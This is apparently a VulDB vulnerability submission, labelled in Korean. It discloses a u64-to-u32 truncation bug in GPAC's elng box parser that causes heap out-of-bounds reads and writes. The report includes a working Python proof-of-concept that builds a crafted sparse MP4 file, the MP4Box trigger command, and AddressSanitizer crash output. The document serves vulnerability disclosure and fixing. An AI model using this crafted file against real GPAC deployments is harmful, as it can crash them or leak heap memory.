제출 #800985: gpac laster Memory Corruption정보

제목gpac laster Memory Corruption
설명## Summary An integer truncation vulnerability exists in `src/isomedia/box_code_base.c` in the `elng_box_read()` function. When parsing a crafted MP4 file containing an `elng` (Extended Language) box with a 64-bit largesize header, the box payload size `ptr->size` (type `u64`) is silently truncated to `u32` for memory allocation, but the original 64-bit value is later used as an array index, resulting in a heap out-of-bounds read approximately 4 GB past the allocated buffer. ## Vulnerability Details **Location:** `src/isomedia/box_code_base.c:3684–3692` **Vulnerable Code:** ```c GF_Err elng_box_read(GF_Box *s, GF_BitStream *bs) { GF_ExtendedLanguageBox *ptr = (GF_ExtendedLanguageBox *)s; if (ptr->size) { ptr->extended_language = (char*)gf_malloc((u32) ptr->size); // [3684] u64 → u32 truncation if (ptr->extended_language == NULL) return GF_OUT_OF_MEM; gf_bs_read_data(bs, ptr->extended_language, (u32) ptr->size); // [3686] truncated read size if (ptr->extended_language[ptr->size-1]) { // [3688] u64 index → OOB READ char *str = (char*)gf_malloc((u32) ptr->size + 1); // [3689] truncated again if (!str) return GF_OUT_OF_MEM; memcpy(str, ptr->extended_language, (u32) ptr->size); str[ptr->size] = 0; // [3692] u64 index → OOB WRITE gf_free(ptr->extended_language); ptr->extended_language = str; } } return GF_OK; } ``` The vulnerability is triggered when: 1. An `elng` box uses the ISOBMFF largesize extension (`size` field = `1`, followed by an 8-byte largesize), with the high 32 bits of largesize non-zero (e.g. `0x100000020`) 2. GPAC parses the file through a path where `gf_bs_available(bs)` is large enough to pass the `INCOMPLETE_FILE` guard in `gf_isom_box_parse_ex` (line 343), so that `elng_box_read` is actually invoked with the full u64 `ptr->size` ## Root Cause ISOBMFF stores box sizes in `GF_Box.size` as `u64`. The `elng_box_read` function applies `(u32)` casts to `ptr->size` when calling `gf_malloc` and `gf_bs_read_data`, truncating a value such as `0x10000000C` to `12`. However, lines 3688 and 3692 use the original `ptr->size` (still `0x10000000C`) as an array subscript without any cast, indexing approximately 4 GB beyond the 12-byte allocation. This is the same truncation anti-pattern guarded against in other box readers (e.g. `co64_box_read`) but missed here. The `elng` box is valid inside `extk` containers (`box_funcs.c:1245`, parents `"mdia extk ipco"`), and `extk` is valid directly inside `moov` (`box_funcs.c:1219`). A Linux **sparse file** is used to satisfy the `gf_bs_available` check: `gf_bs_available()` returns `bs->size - bs->position` where `bs->size` is captured from `fstat().st_size` at open time. Because `fstat` reports the logical file size of a sparse file (e.g. 8 GB) regardless of actual disk usage, a file containing only 64 bytes of real box headers but declared as 8 GB causes `gf_bs_available` to return ~8 GB at the point of parsing the `elng` box, making `0x100000010 < 8 GB` evaluate to true and allowing `elng_box_read` to proceed. ## Steps to Reproduce **Requirements:** Linux (sparse file support; ext4/xfs/btrfs), Python 3, GPAC compiled with AddressSanitizer (`--enable-sanitizer`). ### 1. Generate the PoC file Save the following script as `poc_elng.py` and run it. It writes 64 bytes of real MP4 box data and then extends the file to 8 GB as a sparse file (actual disk usage stays under 4 KB). ```python #!/usr/bin/env python3 """ VULN-001 PoC: elng box u64->u32 truncation -> heap OOB read/write Affected: src/isomedia/box_code_base.c:3684-3692 (elng_box_read) Trigger mechanism: Linux sparse file makes gf_bs_available() return ~8 GB, bypassing the INCOMPLETE_FILE guard in gf_isom_box_parse_ex(), so elng_box_read() is reached with the full u64 ptr->size = 0x10000000C. gf_malloc((u32)ptr->size) allocates only 12 bytes, but ptr->extended_language[ptr->size - 1] indexes 4 GB past the buffer. """ import struct, os OUT = "poc_elng.mp4" # ISOBMFF largesize box: 4B size=1, 4B type, 8B largesize, then content def large_box(box_type: bytes, largesize: int, content: bytes = b"") -> bytes: return struct.pack(">I4sQ", 1, box_type, largesize) + content # Box tree: moov -> extk -> elng # elng largesize = 0x100000020 # -> ptr->size (u64) = 0x100000020 - 16 (hdr) - 4 (fullbox) = 0x10000000C # -> (u32) ptr->size = 12 [malloc/read arg, TRUNCATED] # -> ptr->extended_language[0x10000000B] = OOB READ ~4 GB past buffer ELNG_LARGESIZE = 0x100000020 EXTK_LARGESIZE = 0x100000030 MOOV_LARGESIZE = 0x100000040 elng_payload = struct.pack(">I", 0) # fullbox version=0 flags=0 elng_payload += b"A" * 12 # 12 non-zero bytes so buf[0] != 0, # ensuring the OOB branch is taken elng = large_box(b"elng", ELNG_LARGESIZE, elng_payload) # 32 bytes extk = large_box(b"extk", EXTK_LARGESIZE, elng) # 48 bytes moov = large_box(b"moov", MOOV_LARGESIZE, extk) # 64 bytes with open(OUT, "wb") as f: f.write(moov) # write 64 bytes of real data os.truncate(OUT, 0x200000000) # extend to 8 GB (sparse, <4 KB on disk) print(f"[+] {OUT} created") print(f" logical size : {os.path.getsize(OUT):,} bytes (8 GB)") print(f" real data : {len(moov)} bytes") print(f" ptr->size : 0x10000000C (u64)") print(f" malloc arg : 12 ((u32) truncation)") print(f" OOB index : 0x10000000B (~4 GB past buffer)") ``` ```shell python3 poc_elng.py ``` Expected output: ``` [+] poc_elng.mp4 created logical size : 8,589,934,592 bytes (8 GB) real data : 64 bytes ptr->size : 0x10000000C (u64) malloc arg : 12 ((u32) truncation) OOB index : 0x10000000B (~4 GB past buffer) ``` Verify that the file is sparse (actual disk usage should be ~4 KB, not 8 GB): ```shell ls -lh poc_elng.mp4 # shows 8.0G (logical) du -sh poc_elng.mp4 # shows ~4.0K (real disk usage) ``` ### 2. Trigger the vulnerability ```shell /path/to/MP4Box -info poc_elng.mp4 2>&1 ``` Because the binary is linked against `libasan`, the ASAN runtime is always active. The process will crash with `SEGV` immediately: ``` AddressSanitizer:DEADLYSIGNAL ================================================================= ==PID==ERROR: AddressSanitizer: SEGV on unknown address ... ==PID==The signal is caused by a READ memory access. #0 ... in elng_box_read (.../libgpac.so.16+...) #1 ... in gf_isom_box_parse_ex ... #2 ... in gf_isom_box_array_read ... #3 ... in trak_box_read ... ... rax = 0x000000010000000c <- ptr->size (u64), high 32 bits = 0x1 rdi = 0x000000010000000b <- ptr->size - 1, the OOB index (~4 GB) SUMMARY: AddressSanitizer: SEGV ... in elng_box_read ==PID==ABORTING ``` The registers confirm the truncation: `rax` holds the full u64 `ptr->size = 0x10000000C`, while only 12 bytes (`(u32)0x10000000C = 12`) were allocated. ### 3. Verify with AddressSanitizer To suppress leak reports and force abort on the OOB signal: ```shell ASAN_OPTIONS=detect_leaks=0:abort_on_error=1 \ /path/to/MP4Box -info poc_elng.mp4 2>&1 ``` The output is identical to step 2. The crash is 100% reproducible. ## Expected Result No crash. An `elng` box whose largesize exceeds the `u32` range should be rejected with `GF_ISOM_INVALID_FILE` before any memory allocation occurs. ## Actual Result ``` AddressSanitizer:DEADLYSIGNAL ================================================================= ==190737==ERROR: AddressSanitizer: SEGV on unknown address 0x7b33ba3e0ddb ==190737==The signal is caused by a READ memory access. #0 0x7f12be8c5ce7 in elng_box_read (/home/vuln/gpac/build/lib/libgpac.so.16+0x20c5ce7) #1 0x7f12be9793d4 in gf_isom_box_parse_ex (/home/vuln/gpac/build/lib/libgpac.so.16+0x21793d4) #2 0x7f12be97e922 in gf_isom_box_array_read (/home/vuln/gpac/build/lib/libgpac.so.16+0x217e922) #3 0x7f12be8e52f1 in trak_box_read (/home/vuln/gpac/build/lib/libgpac.so.16+0x20e52f1) #4 0x7f12be9793d4 in gf_isom_box_parse_ex (/home/vuln/gpac/build/lib/libgpac.so.16+0x21793d4) #5 0x7f12be97e922 in gf_isom_box_array_read (/home/vuln/gpac/build/lib/libgpac.so.16+0x217e922) #6 0x7f12be9793d4 in gf_isom_box_parse_ex (/home/vuln/gpac/build/lib/libgpac.so.16+0x21793d4) #7 0x7f12be97b461 in gf_isom_parse_root_box (/home/vuln/gpac/build/lib/libgpac.so.16+0x217b461) #8 0x7f12be99ec3e in gf_isom_parse_movie_boxes (/home/vuln/gpac/build/lib/libgpac.so.16+0x219ec3e) #9 0x7f12be9a4d61 in gf_isom_open_file (/home/vuln/gpac/build/lib/libgpac.so.16+0x21a4d61) #10 0x55a5710073d5 in mp4box_main /home/vuln/gpac/repo/applications/mp4box/mp4box.c:6480 ==190737==Register values: rax = 0x000000010000000c rbx = 0x00007bf2ba3e0040 rdi = 0x000000010000000b r12 = 0x0000000100000020 SUMMARY: AddressSanitizer: SEGV in elng_box_read ==190737==ABORTING ``` Key register values confirm the truncation: - `rax = 0x000000010000000c` — `ptr->size` (u64, high 32 bits = `0x1`) - `rdi = 0x000000010000000b` — `ptr->size - 1` (the OOB array index, ~4 GB) - `rbx = 0x00007bf2ba3e0040` — `buf` base address (`gf_malloc(12)` return value, only 12 bytes allocated) - `r12 = 0x0000000100000020` — elng largesize as constructed ## Impact - **Out-of-bounds Read (CWE-125)**: Heap memory ~4 GB past the allocation is read, potentially leaking sensitive data from adjacent mappings - **Out-of-bounds Write (CWE-787)**: If execution reaches line 3692, a null byte is written at `str[ptr->size]`
원천⚠️ https://github.com/gpac/gpac/issues/3516
사용자
 Lucian-2333 (UID 97209)
제출2026. 04. 09. PM 02:35 (2 개월 ago)
모더레이션2026. 04. 26. PM 09:24 (17 days later)
상태수락
VulDB 항목359734 [GPAC 까지 26.03-DEV-rev105-g8f39a1eb3-master MP4Box box_code_base.c elng_box_read elng 정보 공개]
포인트들20

Do you know our Splunk app?

Download it now for free!